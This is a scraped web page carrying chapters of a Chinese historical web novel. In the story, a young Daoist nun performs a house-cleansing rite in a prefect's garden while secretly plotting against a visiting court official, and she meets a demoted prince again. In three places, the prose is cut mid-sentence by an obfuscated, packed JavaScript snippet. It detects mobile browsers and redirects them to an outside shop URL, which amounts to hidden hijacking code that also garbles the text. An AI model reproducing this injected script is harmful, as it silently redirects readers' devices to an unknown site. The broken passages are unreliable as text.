吴山娘似轻轻叹了口气。她听出姜南绍语气里头那股子疏离——好一句“不会耽误正事”，就这一句，便把这份亦真亦假的关心刺了个通透。 “你终究是与我离了心的。”她顿了顿，语气里透出些许涩意，“也罢。是我平日待你严厉了些，叫你亲近不起来。”她看向姜南绍，目光里竟添了几分柔和，“你是个极有灵气的。旁人学十年的东西，你三五年便学得这般好，只是难为你了。” 姜南绍眼珠微转，垂首道：“弟子不敢，师父多虑了。” 吴女冠正了正色，声音沉下来：“那汪平程就要到秦州了。咱们等了这么多年，成败在此一举。” 姜南绍垂首应道：“是。” “那汪平程当年也算看着你长大的，你可真有把握他认不出你？” “弟子与他虽相识，但已过六年，弟子面相神态已大变，有时照镜，连自己都恍惚——”她扯了扯嘴角，似讽似嘲地一笑，“就算被他认出，可师父忘了？当年我已烧作焦尸。他纵是心有疑虑，料也寻不出破绽来。他无实证，便只是怀疑。”顿了顿，声音低下去，“况且师父莫不记得，他恐怕活不过与我相见那日。” 吴山娘点了点头：“有理。可我心里总是不安，唯恐节外生枝。” “云来先生的安排天衣无缝，师父放心，他必是难逃此劫。” “你狠得下这个心杀他？” 姜南绍面上浮起一丝平静的笑意，回道：“师父，我是姜南绍啊。” 吴山娘见她神色笃定，心下略松了几分。 她顿了顿，抬眼看向她：“你来玉泉宫也两回了，也不问问我——那玉泉宫中阵法所在之处？” “弟子只听凭师父吩咐，不敢多问。” 吴女冠盯着她看了片刻，轻哼一声。 “你不问，以为我就会信你真的不知？”她手中拂尘微微一抬，“私底下怕是打探得七七八八了罢。若真一无所知，这些年我也是白教你了。” 姜南绍垂着眼睑，默然不语。 这便是认了。 吴山娘收回目光，沉默半晌，叹了口气。 “罢了，我也不问了。”她顿了顿，望着她，“我一向对你放心。但你切不可做出格的事。我知你主意大得很，可为师的底线，你是知道的。” 吴山娘心里隐隐有些自得。这徒弟天资不错，没白费她一番心血。只是这不声不响的性子，瞧着是沉稳，实则主意太正。这两年来，她的性子越发教人捉摸不透，她隐隐有些担忧——只怕她要惹出不少祸事。 一时心烦意乱，她挥了挥拂尘，闭了闭眼。 “我不留你了。去吧，我等你的好消息。” 姜南绍起身，端正行了一礼，转身往外走。 行至门口，身后传来吴山娘的声音—— “记住，你是姜南绍。” 她脚步微微一顿，应道：“是，弟子没忘。” 随即缓缓退了出去。 “姜南绍。”她站在廊下，望着远处香炉中明灭不定的烟火，喃喃念着这个名字，熟悉又陌生。眼前忽然浮起一张脸，面上一对酒靥，正伸手递过一块煎饼来：“给，吃罢。” 那日之后，她便当真是姜南绍了。 她咬了咬唇，将头抬得更高，眼底已瞧不出什么情绪。她大步跨下台阶，朝山门外走去。 回匠巷的日子，姜南绍与周至语皆闭门不出，潜心在宅中修炼。白日里不是练剑便是打坐，夜里也熬着，数着时辰，只盼时间能走得快些，再快些——快些到那尘埃落定的一日。 两日后，果然有知州府小吏登门，递了门状。 午间，一顶暖轿便停在巷口。轿夫掀开轿帘，姜南绍矮身坐了进去。 小轿晃晃悠悠走了一程，终于停下。她撩起轿帘往外瞧——轿子停在一处宅院门口，门额上写着“郡圃”二字。她心里有数，这便是知州府后花园的入口了。 一般官员应住在官驿里。但汪平程不同，他是朝廷派来巡边的大员，级别甚高。秦州地处偏远，官驿配套不全，担不起招待要员的条件。若住在知州府，又恐落人口实。而郡圃不同——它是知州府的后花园，与知州府邸隔着一条人工湖。若有要员到访，倒也可以分开居住，不必落人话柄。 若非如此，要接近汪平程少不了费些曲折。 正思忖间，便有吏员开门引她入内。 府中下人三三两两洒扫着庭院。这郡圃既是知州后花园，自是建得雅致。 姜南绍随那吏员穿过一道长廊，眼前豁然开朗——一方水池，池中荷花正盛，红白相间，亭亭而立。池畔假山环绕，以灵璧石堆叠而成，高低错落。水边一座水榭，倒影映入池中，与天光云影混作一处，宛如画境。 她只略略扫了一眼，便随那吏员继续前行。 到了主厅。一位约莫四十上下的男子端坐正堂，身着便服，气度沉稳。引路的吏员躬身禀道：“知州大人，小女冠到了。”又转向姜南绍，“小女冠，这位便是咱们官人。” 姜南绍垂下眼帘，敛衽行礼：“孙知州有礼。” 孙慈安起身还礼，目光从她脸上缓缓掠过，落在那身半旧的道袍上，含笑道：“小女冠。吴女冠一向可好？ “劳知州挂心。”姜南绍微微垂首，“家师一切安好，只是这些日子闭关清修，不得下山。小道奉师命前来府上奉行安宅科仪，修为浅薄，万望官人海涵。” 孙慈安生着一对细长的眼睛，将姜南绍从上到下打量了一番，见她人虽年轻，眉宇间却无半分浮躁，身板挺拔，气度沉稳。他眼底那点子疑虑便渐渐散了，含笑道：“吴女冠的高足，自是不消说的。小女冠过谦了。”顿了顿，又道，“烦劳小女冠先在此间准备安宅科仪事宜，待择了黄道吉日，再行安宅科仪。有任何事，吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527899|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去便是。” 姜南绍垂眸，微微欠身：“小道谨遵大人吩咐。” 她暗忖：这汪平程果真是位高权重，否则这点小事也不必劳动知州大人亲自过问。 孙慈安顿了顿，又道：“不瞒小女冠，前厅的上房一直是本官家眷居住，自是不须叨扰。只是这后花园的客房已多年无人居住——按规矩，有官员来此，一般安置在官驿。可这次来秦州的上官非同一般，本官着实不敢怠慢。”他微微蹙起眉头，“细细想来，这久无人住的屋子，保不齐有什么腌臜东西。便是没有，不去去晦气，总归叫人心里不踏实。我听闻那位上官夫人极是讲究此道，早前就派人来交待了，本官自是要上些心。如此只好有劳小女冠多尽心了。” 姜南绍长长一揖：“小道自当尽心竭力，请孙知州宽心。” 寒暄几句，姜南绍欠身告退。便有婢女引她去后院为她准备的居所——遁斋。 仆从将她带来的一应法器搬进屋内。她略略归置了一番，眼见天色渐晚，便在房里用了斋饭，随后独自出了房门，想在宅院里四处走走，察看布局。 她是女冠，本就是为净宅来的，在院中走动察看，自然无人敢拦。 姜南绍记性极好，每察看过一处，便将方位布局默记在心。待回到房中，即刻取了纸、研了墨，把整座宅院的格局细细画了下来。画完后，用信封装好，又从怀里摸出预先备好的软泥团，用水微微润湿，敷在信封封口凹槽里的绳结上，用力按平，直至泥面与凹槽齐平。 一切收拾妥当，她唤来婢女，说方才清点法器时，方发觉漏了一桩紧要物件，须即刻回匠巷取来。婢女不敢怠慢，连忙备了顶小轿，送她出府。 轿子落在匠巷口，姜南绍快步回至宅中，将那封信交到周至语手里，低声叮嘱：“即刻动身，送去凤台山，交与云来先生。”说罢，顺手从屋中取了一样法器，转身便走。 等重新坐进小轿，她才暗暗舒了一口气。 心下着实佩服云来先生心思缜密——知州府的地图，他手里原已有一份，却仍怕出变故，事先交代她务必再画一幅，以防万一。他算她半个师父，她如今这般沉稳的性子，倒也是被他一点一点磨出来的。 夜深了。 姜南绍和衣歪在床上，心里有事，翻来覆去，只睡不沉。 也不知过了多久，朦朦胧胧间，听得院子里忽地一阵人声，叽叽喳喳的，倒像是出了什么事。 她这些年眠浅，饶是针落在地上也听得真，何况这动静？一骨碌便醒了。 披了件半旧袄儿，趿着鞋走到门边，悄悄将门推开一条缝——院子里灯火晃得人眼晕，几个婆子丫鬟来来回回地走，脚步杂沓，说话声嗡嗡的，只听不真切。 正有个小丫鬟打她门前过，姜南绍索性将门推开。那丫鬟见是她，忙敛衽福了福：“小女冠，惊着您了。” “这大晚上的，闹什么？”姜南绍问。 丫鬟低声道：“小女冠不知，是上官到了。原说还有两日才来，谁知今儿夜里忽然就到了。如今人在官驿里，阖府上下忙得脚不沾地——我家大人都往官驿接人去了。” 说着又福了福，“奴还得去照应，小女冠自便罢。” 言毕，提着裙角一溜烟去了。 27. 纯阳之格 姜南绍掩上门，回了屋里。 身子虽是躺下，她却再也睡不着。她眼望着窗纸上透进来的一点月光，心里却翻腾起来——这一夜，怕是要睁着眼捱到天亮了。 她睁着眼，将方才那番变故在心里过了好几遍。云来先生可知晓此事？依他那缜密的性子，这府里应当还有旁的耳目。可她还是不放心，想着须得尽快想个法子，将消息递出去。 正辗转间，窗纸上已透进些微的青白——天快亮了。 她索性翻身坐起，正要下床更衣，门外忽然响起轻轻的叩门声。那声音极有规律，三轻一重，是她熟知的暗号。 她眉心微紧，拢了拢衣襟，低声道：“进。” 门被轻轻推开。一个婢女低垂着头，端着一只沉甸甸的黄铜盆，碎步而入。盆中水汽氤氲，带着一丝皂角的清苦之气。她先将一条雪白的细棉面巾浸入水中，正要递过来，姜南绍已伸手接过：“我自己来。” 她拧了面巾，慢慢擦着脸。婢女垂手侍立，待她洗罢，才伸手接了面巾放入盆中，端起铜盆，欠了欠身，悄无声息地退了出去。 门“吱呀”一声合上。 姜南绍摊开掌心——掌中已多了一张叠得极小的纸条。 她快步走到门边，将门闩插好，这才展开纸条。 上头只有五个字，笔迹是她认得的：计划不变，放心。 她轻轻舒了口气，将纸条就烛火烧了。 火舌舔上来，纸页卷曲、发黑，转瞬化成一缕青烟，落在烛台边，只剩一小撮灰烬。 她刚用过早食，管家便亲自来请，说孙知州委派了王签判，在聚星堂等她议事。 聚星堂离郡圃有些路程，昨日察看宅院布局时，姜南绍已将各处方位默记于心，大约在府衙方向。 她与管家沿着鹅卵石铺的小径往北走，两边是修剪齐整的冬青，几丛秋菊已然开败，残瓣儿耷拉着脑袋。再往前，便见州宅的后墙了，青砖灰瓦，檐角微微上翘，在晨光里透出几分官家的威仪。 墙不高，青砖黛瓦，墙头上爬着些枯了的藤萝，蔫头耷脑地垂下来，透着几分岁月的痕迹。 管家领着她穿过正房前的回廊，往南边走去。回廊尽头又是一道门，推开，面前是一条长长的甬道。甬道尽头，隐约能望见一座厅堂的轮廓，檐角下挑着两盏灯笼，在晨光里晃晃悠悠的——那便是聚星堂了。 聚星堂比正堂略小些，可比起寻常的廨舍，又高大敞亮得多。 她跟在管家身后，行至堂前。门虚掩着，管家让她稍候，自己先进去通禀。不多时门开了，将她引了进去。 王签判正坐在东窗下的书案前，案上摊着几卷案牍，最上头那份墨迹还是新的，想来是今早刚批下的。他约莫五十上下的年纪，身形颀长偏瘦，两鬓已染了霜色，面色清癯，一双眼睛却还有神，他身侧还站了个穿青衣袍的中年男子。 王签判见她进来，微微颔首：“小女冠来了，请坐。” 管家在一旁介绍：“这是王签判。” 姜南绍敛衽一礼：“见过王签判。” 她在下首的交椅上落座。小吏上前奉了茶，便退到王签判身侧垂手立着。 “今日请女冠来，是有事有变。”王签判开门见山，声音不高，却透着股干练，“原想过几日再行净宅科仪，不承想上官昨夜已到秦州。孙知州还在官驿迎上官，府里的事便委托了某在此料理。”他顿了顿，“这是上官的生辰八字。” 说罢他目光一递，身侧中年男子便从他手里接过一张黄纸，双手捧到姜南绍面前。姜南绍起身接过，垂眸扫了一眼，收入袖中。 “签判大人无须客气。”她颔首道，“小道回房后即刻用罗盘推算，尽快择出最近的吉时行净宅科仪。只是此法事完成后，还须回向信士，届时还请信士务必到场。” “这个本官晓得的。”王签判点头，“自当安排妥当。小女冠算出时辰，告知管家便是——今日上官就要入府，耽误不起。这生辰八字，女冠用后便不要外传了。” 姜南绍起身，端端正正行了一礼：“小道知道了。时间紧迫，如此便不耽搁签判大人正事。小道这便去准备。” “辛苦女冠了。”王签判微微颔首，“来人，送女冠。” 门外进来一名小吏，躬身做了个请的手势：“女冠，请。” 姜南绍随那小吏退出书房，沿着来时的路，很快回到了遁斋。 掩了门，她在桌边坐下，从袖中取出那张黄纸，展开。 目光落在那八字上，心跳忽然快了一拍。 纸上写着：壬戌丙午戊申甲子。 她盯着那八个字，半晌没有移开眼。 天干壬、丙、戊、甲——全是阳干。 地支戌、午、申、子——全是阳支。 这是……纯阳之格。 她的目光落在纸页最下方那行小字上，呼吸微微一滞。 上书：信士汪平程。 姜南绍缓缓吐出一口气。 果真如此。 师父寻了多年的至阳之人，便是此人了——汪平程，本朝同知枢密院事。 事不宜迟。她敛住心神，从匣中取出罗盘，定了坐向，又将那纯阳八字在心头细细推演。不过片刻，便得了结果：今日申时，最是合宜。 就是今日了。 她心头突突地跳了几下，旋即又沉下去。 她唤来婢女，把写好的时辰字条交与管家，自己转身回房，着手准备净宅仪式。 设坛、供神、摆供品。她把法器一件件取出，用软布细细擦拭，又研墨铺纸，将净宅疏文一笔一画写好。待一切收拾停当，窗外日头已移向中天——午时了。 她命人备了热水，沐浴更衣，又吩咐下去：申时之前，不可打扰。 房门掩上，屋里只剩她一人。她盘腿坐在蒲团上，合着眼诵咒，让心一寸一寸静下来。 也不知过了多久，门外传来轻轻的叩门声。 “小女冠，快到申时了。” 她睁开眼，应了一声。起身披上霞帔，戴上道冠，正要整理衣襟，却见那传话的婢女仍立在原处，不曾退去。 姜南绍心念微动。 婢女低垂着头，一张脸隐在阴影里，声音压得极低：“先生的人已准备妥当。先生让小女冠放心，照原计划行事便是。” 姜南绍看了她一眼，终究没能看清那张脸。 她收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527900|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光，微微点头。 “我有数了。” 婢女不再多言，行了一礼，倒退着退出房门。 姜南绍闭了闭眼。 再睁开时，她转向洗漱架上的铜镜。镜中那人眉目沉静，一身法服端整，瞧不出半分波澜。 她深吸一口气，抬手理了理衣襟。 然后，徐徐步出房门。 而那个被八字算计的人——汪平程，昨夜刚到秦州。他们一行人原本无须赶得这般急。只是谢元佑他二人行在前头，他实是放心不下。那祖宗如今这般脾性，谁知会惹出什么事来？只得吩咐下去，日夜兼程，务必早些赶到秦州与他们汇合。 最后总算比原定行程提前了两日。到秦州官驿时，听说他二人确住在此处，他一颗悬着的心才算落回肚里。 两拨人汇合后，在驿中休整一夜。次日一早，汪平程刚起身，还未及洗漱，便听下属来禀，说孙知州昨夜就宿在官驿了，一早在外候着，要接大人往知州府去。 汪平程连忙净面更衣，收拾齐整，这才让人将孙慈安传进来。 孙慈安进门便跪拜下去：“下官孙慈安，见过汪枢密。不知大人这般快就到了，未及远迎，望大人恕罪。” 汪平程忙上前将人扶起：“孙知州不必多礼。”他顿了顿，“我们昨夜刚到，孙知州便来了——怎的昨夜不曾使人通报？倒让大人在此苦等一夜。” 孙慈安作了一揖，垂首道：“大人恕罪。下官得信赶来时，大人已安顿下了。大人远道而来，必是疲乏，下官不敢打扰大人歇息。” 汪平程点点头，面上温和了些：“辛苦孙知州了。” “这是下官分内之事。”孙慈安恭敬道，“后花园一应住房吃食已安排妥当。府中小吏来报，安宅科仪之事也已准备就绪，择好了吉时，就在申时。只待大人到了府上，便可与大人散福。大人若此刻动身，可往府内安置？” 汪平程略一沉吟，道：“有劳了。原是吾家夫人操心此事，她一番拳拳之心，本官也不忍相拒，倒是给孙知州添麻烦了。” “大人客气了，都是些小事。”孙慈安忙道。 “申时尚早，倒是不必急。”汪平程摆摆手，抬眼看向孙慈安，“我还有事要与孙知州相商。” 汪平程看了护卫一眼：“你去瞧瞧谢参军可起了。若是起了，便叫他到我房里来；若还没起，你就且等上一等。” 护卫领命去了。 孙慈安心头一跳，面上却不露声色。他听汪平程这语气，极是怪异——若说这谢参军，听着至多是个从八品的官儿，而汪平程是朝廷正二品的同知枢密院事，怎的这般客气？倒像是供着个祖宗似的。 他在官场里沉浮了二十多年，当下便知这谢参军来头非同小可。他心里暗暗留了神，面上却只恭恭敬敬地站着。 汪平程让人上了茶，招呼孙慈安落座，这才开口：“孙知州恐怕不知，你这秦州有一位参军要赴任罢？” 孙慈安自然不知。一个小小参军，哪能入得了知州的眼？ “也不怪孙知州不知。”汪平程端起茶盏，轻轻吹了吹浮沫，“想你下面的官员应也是不知的——这次朝廷并未按规矩送达黄牒的副本。” 28. 密谈 孙慈安听罢，心头一沉，连那茶香也觉着淡了。他面上不显，心里却开始怦怦直跳。 方才汪平程提到那人的姓氏——谢。 他脑子里忽然闪过一个念头，惊得手心沁出冷汗来。这数九寒天的，他却觉着背后凉飕飕的，像是有人往他脖子里吹气。 “下官愚钝，请汪枢密明示。”他压低声音道。 汪平程抬起眼，目光沉沉地盯着他，缓缓说道：“不瞒孙知州，这谢参军，便是从前的——卫王。” 话音落下，屋里静得能听见炭火噼啪的细响。 孙慈安脑中“嗡”地一响，似有什么东西炸开了——原来自己所料不差，原来那人竟真是被废黜的卫王谢元佑。 卫王的事，他多少听过一些。听说几年前因不满官家处置楚王那帮逆臣，自此便一直与官家置气，这几年尽做些荒唐事，前阵子才被贬了参军。他当时还当个笑话听，哪成想这烫手山芋竟扔到秦州来了？ 这一下，他整个人像掉进冰窟窿里，从脊梁骨凉到脚后跟，额上的汗珠子却不受控制地往外冒。 汪平程瞧他这副神色，于心不忍，放缓了语气轻声安抚道：“吾知孙知州为难，但倒也不必太过担忧，孙知州就当不知此事便罢。吾也就是把实情与孙知州说一说，不瞒孙知州，吾也是受皇后娘娘所托，看顾一二，平日里这小子若无大错，孙知州便也多担待些就是。” 孙慈安闻言，心里头苦笑。 来了这尊大佛，岂是“头痛”二字能说尽的？虽说这贬了的卫王如今只是个从八品的小官，可官家没叫他死，便总有起复的可能。更何况，他从前可是最有力的皇位争夺者。如何待这尊神，可真叫人左右为难。 他定了定神，苦笑着拱手道：“汪枢密，恕下官失态了。请大人指点一二……这官家究竟是个什么意思？” 汪平程摇了摇头：“官家的心思，吾等岂能猜到。虽说这谢参军曾是官家最看重的皇子，但如今他不是了，便该怎么办就怎么办罢。”顿了顿，又道，“只盼离了京城，离了官家身边，他身上的戾气能少一些。一切只看他自己造化了。” 孙慈安嘴里应着，心里却叫苦不迭。 今儿这消息，可真真是噩耗。 他却不知，汪平程一见面便告知谢元佑的身份，原是存了些私心的。他来秦州那桩事棘手得很，自己都是把命悬在裤腰带上，实在分身乏术，可留下这竖子着实让人放心不下，只得托付给孙知州。 嘴上说着“该怎么办便怎么办”，可这话递到孙慈安耳朵里，便是明明白白的提点——不管真心假意，总得对那竖子宽容照顾些才是。 汪平程点到即止，无意再往下说，只瞥了眼孙慈安那副苦哈哈的模样，便转开了话头：“罢了，这事便如此。吾还有一事先与你交个底——你可知官家让吾此行来秦州，所为何事？” 孙慈安听他话里有话，心里头又是一惊，嘴里越发苦得跟嚼了黄连似的，心想晚些时候怕要上火燎泡了。可此刻也只能惨白着一张脸，强撑着道：“汪枢密请说。” 汪平程端起茶盏抿了一口，不答反问：“孙知州总领这秦州一州之政，依你之见，这秦州眼下最要紧的是哪方面的难事？” 这话跟考较功课似的。孙慈安拿袖子擦了擦额上的汗，沉吟片刻，方道：“下官以为，最要紧的还是边境那摊子乱象。” 汪平程点点头，示意他接着说。 “秦州本就是蕃汉杂居之地，外有强敌虎视，内有诸族纷争，再加上治理上的难处、经济利益上的争夺……这秦州就跟夹在缝里头似的，一不留神便要闹出大乱子。”孙慈安说到痛处，不由忧心起来，“偏生朝堂上整日争论不休，今日主剿，明日主抚，拿不出个准主意来，倒叫我们这些办差的无所适从。” 他说着，悄悄抬眼觑了觑上官的脸色，不知该不该继续往下说。毕竟论及政务之弊，最是容易触霉头。 汪平程抚了抚长须，点头道：“孙知州说得不错，政策朝令夕改，确叫你们应对乏力。”顿了顿，又道，“京城距此千里之遥，鞭长莫及。况朝中又分两派，成日争来争去，谁也说服不了谁。” 他直视着孙慈安，目光炯炯：“以孙知州之见，到底是该剿，还是该抚？或是二者并行？” “下官也不敢妄下定论。”孙慈安斟酌着道，“总得看情形而定。” “那依你之见，如今秦州的情形，困境在何处？” 孙慈安见他问得诚恳，便也直言不讳：“不瞒大人，眼下最大的难处，便是外有强敌。那西夏人李毡，骁悍善斗，野心勃勃，这一年多来已挑起了大大小小不知多少冲突。近来更与些吐蕃势力勾连到一处，渐成大患。” “那孙知州可有御敌之法？” 孙慈安连连摇头，苦笑道：“此地形势复杂，绝非一日之功可成。也不是下一道禁令就能了结的事。” 汪平程叹了口气，脸上浮起几分无奈：“可现在官家偏生让我带来一项禁令。先前朝堂上为这事争论不休，一拨人说这禁令能扼住李毡的要害，一拨人说会惹出更大的乱子。”他眉头拧成个疙瘩，“可吵来吵去，这禁令还是下了。” 孙慈安一听，心里咯噔一声，忙问：“是何禁令？” “这禁令旨在禁绝桀骜之资——敢有私市戎人青白盐者，并坐死。” 汪平程向身边护卫递了个眼色，护卫转身从里屋捧出个方盒来，双手呈到孙慈安面前。孙慈安抖着手打开盒盖，里头躺着绫锦质地的卷轴，赫然是一封敕牒。 他取出来展开，只扫了几眼，脸便白得跟纸似的。只见上头写着： 门下：安边足用，实资货殖之宜；禁暴戢奸，必备非常之制。朕承圣祖之鸿业，抚寰宇之黎元，冀咸跻于仁寿，故每谨于堤防。 他一应看下来，直到看到：应陕西诸道州军界，自今以后，敢有私市戎人青白盐者，并坐死。虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530180|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赃满绢一尺，并不以赦降原减。其家产尽没于官，妻子并隶从坐。 读至此处，冷汗越冒越密，只得用袖拭汗，狼狈不堪。 孙慈安看罢，长叹一声：“禁令一出，只怕要出大乱子。” 汪平程默然半晌。他本也不赞成这禁令，可架不住朝廷那帮人每日在殿上吵得唾沫横飞，官家被逼得没了法子，若不定夺，那帮人怕是要在朝堂上动起手来。他也是无奈得很。 他叹了口气，拍了拍孙慈安的肩膀：“孙知州莫要过分悲观，且往后看看情形罢。” 汪平程抬头望着一直靠在门边的人影，唤道：“子谦，既来了，便进来罢。” 谢元佑已在外头站了好一会儿了。听他们议论那禁令的事，便没进去，只在门外立着听了一耳朵。听得汪平程叫他，这才抬步跨进门来。 他今日倒守规矩得很，进来便端端正正朝汪平程见了一礼：“汪枢密。” 又转向孙慈安，作了个揖：“孙知州。” 汪平程见他这般模样，倒有些摸不准他葫芦里卖的什么药，却也顾不上细想，只向孙慈安引见道：“孙知州，这便是谢参军，谢大人。” 孙慈安起身还了一礼，又觉着有些不妥。他抬眼打量着面前这位昔日的天之骄子——气宇轩昂，眉目疏朗，竟不似传闻中那般桀骜不驯的模样。 他尴尬地笑了笑，道：“谢参军果然相貌堂堂。” “孙知州谬赞了。”谢元佑微微欠了欠身，垂手立在一旁。 汪平程见他如此知礼，心里倒生出几分欣慰来，心想他许是想通了。可又怕他转眼又犯起倔来，便特意叮嘱道：“往后在秦州官衙做事，可要多听孙知州的提点，不可莽撞行事。” 谢元佑规规矩矩应了一声：“是。” 孙慈安见他这般知礼，心下便松了大半。他朝汪平程一揖，道：“大人，可前往知州府安置了。安宅科仪误不得时辰，入府少不得还要收拾一二。” “我听闻孙知州请来了那鼎鼎有名吴山娘女冠行科仪？” “惭愧惭愧，偏是不巧，吴山娘正闭关修炼，来的是她派来的弟子。” “那也是一样的。”汪平程站起身来，转头问谢元佑，“你是要先去州衙参讫，还是同我先入府安置？” 谢元佑听他提起女冠，心头微微一动，不由想起魏嵚提到的匠巷里的那两个女冠来。 他略一沉吟，便道：“参讫先不急，我先送老师入府罢，总得看老师安顿好了才能放心。”顿了顿，唇角微微扬起，“顺道也去瞧瞧热闹——听说女冠行科仪，还不曾见过。” 汪平程听罢，心里头五味杂陈。这竖子素日里最不耐烦这些繁文缛节，今日竟说出这般体贴话来，倒叫他一时摸不透真假。 可面上终究是受用的，眼眶竟有些发热，差点落下几滴老泪来。 他扭过头，借着理袖的动作掩饰了一下，才哑声道：“那便一同去罢。” 29. 重遇 法坛早已摆布齐整，青烟袅袅，如丝如缕。 那香气极淡，若有若无，似指尖轻拂过鼻息，却又无处不在，令人俗念顿消。 法坛设在后花园一处空地上，正对着凉亭。亭中影影绰绰坐着几人，姜南绍远远望去，瞧不真切，却晓得里头坐着的，便是她们一直等的人。 吉时已到，一切就绪。 管事匆匆迎上来，行了一礼：“姜女冠，大人们在凉亭里候着了。女冠这便可以开始。” 姜南绍微微颔首。 管事侧身让出道来，躬身道：“姜女冠，请。” 姜南绍身着一袭素净的青灰色道袍，袍角随轻风微微拂动，庄严肃穆。她鬓上插了一支素雅的乌木簪，眉目舒展，自有一股不容置疑的沉静。 她缓缓阖上双眸，眉心微蹙，细长的手指在身前结印，口中念起“净心神咒”。四下里静得只剩风吹树梢的沙沙声，连凉亭里那几位大人也屏住了呼吸。 蓦地，她双眸猛地睁开，目光锐利，眼底渗出丝丝寒气。右手并指，在盛满清水的碗上虚画起来。 她执起香案上的杨柳枝，声音微哑：“天地自然，秽气分散。”一面喃喃念着，一面用柳枝蘸取法水，轻轻挥洒，水珠四散。 随后，放下柳枝，一抬手握起那柄桃木剑。那剑好似长在她手里一般，剑锋在空中刷刷划过，留下一道道令人眼晕的残影。金光符箓结成一串炫目的光影，晃得人不敢直视。 她回到坛前，捧起事先写好的疏纸，看了眼管事。管事会意，转头向亭子那头张望——大人们已经朝这空地行来。 人已到齐，排成一排站在姜南绍身后。 姜南绍捧起疏纸，朗声诵读，无非是一番祈求阴阳和合、眷属平安、六畜兴旺的说辞。诵毕，她指尖拈起那道朱砂写就的净宅灵符，连同疏纸，凑到香火上。 只听得“噗”的一声轻响，符纸卷曲起来，化作一缕带着火星的青烟，袅袅散在空中，渐渐没了踪影。 现场静得瘆人，连喘气声都听不见。 偏在这当口，忽听得一声嗤笑，跟刀子似的划破了这肃穆的气氛。 “谁？” 姜南绍眼神蓦地一紧，手中桃木剑微微一抖，剑锋竟不受使唤似的，刷地一转，快如闪电，直直朝那假山豁口处刺去。 候在一旁的管事猛地想起那假山后的人，急喊一声：“女冠，使不得！” 姜南绍缓缓收势，可哪里还来得及？只听“咣”的一声，假山后头黑影一闪，桃木剑不偏不倚刺在一件硬物上。 哐当一声响，有什么东西滚落在地。 姜南绍收剑，从假山口小跑入内，定睛一瞧——一只铜色供盘骨碌碌滚到脚边，里头的糕点洒得满地都是，原是刺中了供盘。 一个穿青衣的男子，懒洋洋地半靠在假山后的平石上，手里捧着个朱漆小盒，对这般大动静跟没事人似的，只管翘着腿，一颗一颗往鱼池里扔鱼食。 “大胆！竟敢偷供品亵渎神灵！”姜南绍厉声呵斥。 “嘘。”那青衣男子把手指竖在嘴边，眼珠子只盯着水面，头也不转一下，语气里满是漫不经心，“莫要嚷嚷，把鱼儿都惊散了。” 姜南绍气笑，却不按常理出牌，提着桃木剑慢悠悠走了几步停下，蹲下身来，对着小池里的鱼鞠了个躬：“失礼了，打扰了！” 谢元佑一怔，仍保持着原来的姿势，口中哼笑一声：“跟鱼道歉？怎不跟我道歉？难道我连鱼都不如？受了这么大惊吓，不配一句道歉怎的？” 姜南绍抬眼睨了他一眼，慢悠悠站起身来，将桃木剑往身后一背，嘴角微微一翘：“跟鱼道歉，是因我惊动了它们。至于你——” 她顿了顿，上下打量他一番，语气里带了几分漫不经心的嫌弃：“你不声不响偷了供品，该你跟我赔不是才是。” 谢元佑闻言，倒是笑了，把手里的朱漆小盒往石上一搁，终于转过头来，却仍是躺着，只睥睨了她一眼。 今日的日头毒得很，一点也不似冬日的日头。姜南绍罩在日光下，像是给她镀了层金身。 谢元佑眼睛被刺得生痛，竟看不清这女冠的模样。 姜南绍倒是把他瞧得清清楚楚——那眉，那眼，那股子懒散里藏着的锐气。 她心头微微一跳，面上却不动声色，只把桃木剑往身后又挪了挪，像是要跟这人划清界限似的。 管事也已跟了进来，赶紧行礼：“姜女冠，这位是谢参军，并非歹人。也是小的今日忙昏了头，谢参军在此喂鱼，小的没来得及告知女冠，着实是我们下人的不是。误会，都是误会……” 谢元佑被日头晒得昏沉，慢悠悠站起身来，掸了掸衣上的灰，正眼也不给他们一个，只从牙缝里挤出几个字：“晦气，喂个鱼都不清净。” 说着，他眼风都不扫一下，迈开大步，擦着姜南绍的肩膀，扬长而去。 姜南绍盯着他的背影——竟真是他。仿佛是上辈子的人，似是同一个人，又好像不是了。 她目送那道背影消失在假山口，这才慢慢收回目光。 管事还在旁边赔不是：“姜女冠，您多担待。这位谢参军是新到任的，性子是古怪了些，可绝不是歹人……”谢元佑是什么人，知州大人私下已交代过他，这种人物哪里是他能得罪得起的？想起方才的场面，他后背的汗都下来了。 “无妨。”姜南绍淡淡打断，“供品少了，再去备一份来。” 管事连声应着，匆匆去了。 姜南绍向假山外走，忽然脚步一顿，想起一事，心头一沉——不好。她方才记起云来先生的部署，脑子里如遭雷击，急忙提剑追了出去。 